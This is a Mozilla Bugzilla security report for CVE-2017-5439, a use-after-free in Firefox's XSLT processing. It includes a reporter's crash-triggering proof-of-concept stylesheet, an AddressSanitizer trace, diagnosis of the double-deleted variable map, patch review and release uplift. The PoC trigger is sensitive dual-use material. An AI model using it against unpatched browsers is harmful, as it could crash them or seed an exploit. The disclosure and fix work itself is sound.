1336830 - (CVE-2017-5439) UAF in nsTArray Length() during XSLT processing

Status: VERIFIED FIXED

(Core :: XSLT, defect)

Description

[Nicolas Grégoire]

XPCshell PoC

Tested under xpcshell "JavaScript-C54.0a1"

[+] Relevant parts

xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="42">' +
          '  <xsl:template match="*">' +
          '    <xsl:apply-imports/>' + 
          '    <xsl:apply-templates select=".">' + 
          '      <xsl:with-param name="whatever_1">whatever_2</xsl:with-param>' + 
          '    </xsl:apply-templates>' +
          '  </xsl:template>' +
          '</xsl:stylesheet>'

[+] How to reproduce

$ ./poc_xslt_uaf_nsTArray_Length.js
==20267==ERROR: AddressSanitizer: heap-use-after-free on address 0x602000334890 at pc 0x7f04c798d7b9 bp 0x7ffd20419800 sp 0x7ffd204197f8
READ of size 8 at 0x602000334890 thread T0
    #0 0x7f04c798d7b8 in Length /home/worker/workspace/build/src/obj-firefox/dist/include/nsTArray.h:515:37
    #1 0x7f04c798d7b8 in next /home/worker/workspace/build/src/dom/xslt/base/txExpandedNameMap.h:68
    #2 0x7f04c798d7b8 in ~txVariableMap /home/worker/workspace/build/src/dom/xslt/xslt/txVariableMap.h:42
    #3 0x7f04c798d7b8 in ~nsAutoPtr /home/worker/workspace/build/src/obj-firefox/dist/include/nsAutoPtr.h:78
    #4 0x7f04c798d7b8 in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:99
    #5 0x7f04c79c6015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #6 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    ...

0x602000334890 is located 0 bytes inside of 8-byte region [0x602000334890,0x602000334898)
freed by thread T0 here:
    #0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f04c798c87f in operator delete /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:218:12
    #2 0x7f04c798c87f in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:95
    #3 0x7f04c79c6015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #4 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    ...

previously allocated by thread T0 here:
    #0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7f04c79a25ff in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7f04c79a25ff in txSetParam::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txInstructions.cpp:761
    #4 0x7f04c79fcaed in txXSLTProcessor::execute(txExecutionState&) /home/worker/workspace/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49:14
    #5 0x7f04c79c5c18 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:676:14
    #6 0x7f04c79cbbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    ...

Comment 1

[Nicolas Grégoire]

Can't upload PoC...
Problem on https://bugzilla.mozilla.org/attachment.cgi?

Comment 2

[Nicolas Grégoire]

PoC can be downloaded from http://nicob.net/firefox-od9Gooxu/poc_xslt_uaf_nsTArray_Length.js

Comment 3

[Nicolas Grégoire]

Attachment: XPCshell PoC

Comment 4

[Jesse Schwartzentruber (:truber)]

Attachment: testcase.html

Comment 5

[Jesse Schwartzentruber (:truber)]

Confirmed in mozilla-central rev 1cc159c7a044.

Comment 6

[Andrew Overholt [:overholt]]

Peter, can you please take a look?

Comment 7

[Peter Van der Beken [:peterv]]

Hmm, we're somehow deleting a txVariableMap twice.

Comment 8

[Peter Van der Beken [:peterv]]

txApplyImportsStart::execute pushes the txVariableMap that's already in mTemplateParams, so it ends up in both the mParamStack and the mTemplateParams :-/.

Comment 9

[Peter Van der Beken [:peterv]]

Attachment: v1

In txApplyImportsStart::execute we need to call popParamMap even if runTemplate returns an error, to remove the map that we pushed earlier. The mTemplateParams stack is a bit confusing, it normally owns its contents, but not in this case. So if we don't call popParamMap, then when the stack gets destroyed, we try to delete the map that we pushed but that the stack doesn't own :-/.

Comment 10

[Eric Rahm [:erahm]]

Comment on attachment 8838072 [details] [diff] [review]
v1

Review of attachment 8838072 [details] [diff] [review]:
-----------------------------------------------------------------

::: dom/xslt/xslt/txInstructions.cpp
@@ +59,5 @@
>      txInstruction* templ;
>      rv = aEs.mStylesheet->findTemplate(aEs.getEvalContext()->getContextNode(),
>                                         mode, &aEs, rule->mFrame, &templ,
>                                         &frame);
>      NS_ENSURE_SUCCESS(rv, rv);

I'm a little confused by your diff, I don't see this locally. I'm guessing this is built against another patchset?

It's not clear, but I think |aEs.pushParamMap(rule->mParams)| was probably called so you need to |aEs.popParamMap| in case of failure right?

Comment 11

[Peter Van der Beken [:peterv]]

(In reply to Eric Rahm [:erahm] from comment #10)
> I'm a little confused by your diff, I don't see this locally. I'm guessing
> this is built against another patchset?

Ah, yes, that's part of the fix for bug 1336828. But it shouldn't make a difference here.

> It's not clear, but I think |aEs.pushParamMap(rule->mParams)| was probably
> called so you need to |aEs.popParamMap| in case of failure right?

Yeah, we call pushParamMap earlier in txApplyImportsStart::execute.

IIRC in this case rule->mParams is actually the same as aEs.mTemplateParams (eg we sometimes do aEs.pushTemplateRule(..., aEs.mTemplateParams) which sets the rule's mParams to aEs.mTemplateParams). If we don't pop then the mTemplateParams nsAutoPtr will delete the param map but we'll also try do delete it when destroying the stack.

Comment 12

[Peter Van der Beken [:peterv]]

I'm not sure how to interpret the feedback+, do you just need the answers from comment 11, or do I need to look for a different reviewer, or...?

Comment 13

[Eric Rahm [:erahm]]

(In reply to Peter Van der Beken [:peterv] from comment #12)
> I'm not sure how to interpret the feedback+, do you just need the answers
> from comment 11, or do I need to look for a different reviewer, or...?

Can you post the patch you intend to land? As-is I think you need to replace the |NS_ENSURE_SUCCESS(rv, rv)| call with:

> if (NS_FAILED(rv)) {
>   aEs.popParamMap();
>   return rv;
> }

Comment 14

[Peter Van der Beken [:peterv]]

Attachment: v1

Comment 15

[Eric Rahm [:erahm]]

Comment on attachment 8840811 [details] [diff] [review]
v1

Review of attachment 8840811 [details] [diff] [review]:
-----------------------------------------------------------------

r=me, sorry about the run around!

Comment 16

[Peter Van der Beken [:peterv]]

Comment on attachment 8840811 [details] [diff] [review]
v1

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

Not trivial, it needs a bit of understanding of the XSLT execution stacks.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

The test clearly shows the problem.

Which older supported branches are affected by this flaw?

All.

If not all supported branches, which bug introduced the flaw?

Affects all bracnhes.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

Patch should just apply to branches.

How likely is this patch to cause regressions; how much testing does it need?

Shouldn't cause regressions, just deals with an error condition that we didn't deal with correctly.

Comment 17

[Al Billings [:abillings - ex-MoCo]]

We're shipping Firefox 52 on Tuesday. This has sec-approval+ to checkin *on or after* March 21, two weeks into the next cycle. 

Also, this approval *only* applies to the fix itself, not the test. 

Please open a separate bug for checking in the test. That won't be allowed to be checked in until we ship a release containing the fix. Otherwise, your test will 0day our users as soon as you check it in and reveal your security fix.

Comment 18

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/2b0cd920b4fc

Please request Aurora/Beta/ESR52/ESR45 approval on this when you get a chance.

Comment 19

[Wes Kocher (:KWierso) (Not reading bugmail; email directly if needed)]

Backed out in https://hg.mozilla.org/integration/mozilla-inbound/rev/112d7a5b1a0d3e673e3a434a99d9a99842f0850c for build bustage:

https://treeherder.mozilla.org/logviewer.html#?job_id=85158007&repo=mozilla-inbound

Comment 20

[Peter Van der Beken [:peterv]]

https://hg.mozilla.org/integration/mozilla-inbound/rev/27bf27ed237f82878421e48975960c64c7f78ebf
Bug 1336830 - Pop state immediately after running a template, r=erahm.

Comment 21

[Carsten Book [:Tomcat]]

https://hg.mozilla.org/mozilla-central/rev/27bf27ed237f

Comment 22

[Peter Van der Beken [:peterv]]

Attachment: v1

Same as attachment  8840811 [details] [diff] [review], but without the automated testcase.

Approval Request Comment
[Feature/Bug causing the regression]: XSLT.
[User impact if declined]: Crash.
[Is this code covered by automated tests?]: Yes, but the crashtest for this specific issues will be landed separately.
[Has the fix been verified in Nightly?]: I verified that the testcase doesn't crash anymore.
[Needs manual test from QE? If yes, steps to reproduce]: Yes, until we can land the automated test. To reproduce: load attachment 8834041 [details], shouldn't crash.
[List of other uplifts needed for the feature/fix]: None.
[Is the change risky?]: Low-risk
[Why is the change risky/not risky?]: It just avoids double-deleting an object in an error case.
[String changes made/needed]: None.

Comment 23

[Liz Henry (:lizzard) (relman/hg->git project)]

Comment on attachment 8851087 [details] [diff] [review]
v1

One more XSLT fix, sec high, let's bring it to beta. 
Can you nom for esr52 also?

Comment 24

[Peter Van der Beken [:peterv]]

https://hg.mozilla.org/releases/mozilla-aurora/rev/fbec5d7bd75607b7cf80c2dfc93157a4f227b81a
https://hg.mozilla.org/releases/mozilla-beta/rev/cc44bcedcee257bdc94c1d20e1b68e9e025a3e0f

Comment 25

[Peter Van der Beken [:peterv]]

Comment on attachment 8851087 [details] [diff] [review]
v1

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-high
User impact if declined: crash
Fix Landed on Version: 55
Risk to taking this patch (and alternatives if risky): low-risk, narrow spot-fix to avoid double-deleting an object
String or UUID changes made by this patch: none

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

Comment 26

[Julien Cristau [:jcristau]]

Comment on attachment 8851087 [details] [diff] [review]
v1

sec-high uaf fix for esr45/esr52

Comment 27

[Ryan VanderMeulen [:RyanVM]]

https://hg.mozilla.org/releases/mozilla-esr52/rev/2fde528ca7b6
https://hg.mozilla.org/releases/mozilla-esr45/rev/18e355831dd5

Comment 28

[Andrei Vaida [:avaida]]

Flagging this for manual testing, per Comment 22.

Comment 29

[Cristian Comorasu, QA [:ccomorasu], Releae Desktop QA - Please contact [e-mail]]

I reproduced this issue using the nightly build from february 5th 2017 using Ubuntu 14.04 LTS.
I can confirm this issue is fixed, I verified using Fx 53.0b10 (build ID: 20170407103631), Fx 54.0a2 (build ID: 20170410074807) and Fx 55.0a1 (build ID: 20170410100144) on Ubuntu 14.04 LTS.
I will re-verify this issue once the Fx 52.1.0esr and Fx 45.9.0esr builds are available.

Cheers!

Comment 30

[Cristian Comorasu, QA [:ccomorasu], Releae Desktop QA - Please contact [e-mail]]

I can confirm this issue is fixed using Fx 52.1.0esr and Fx 45.9.0esr.
Cheers!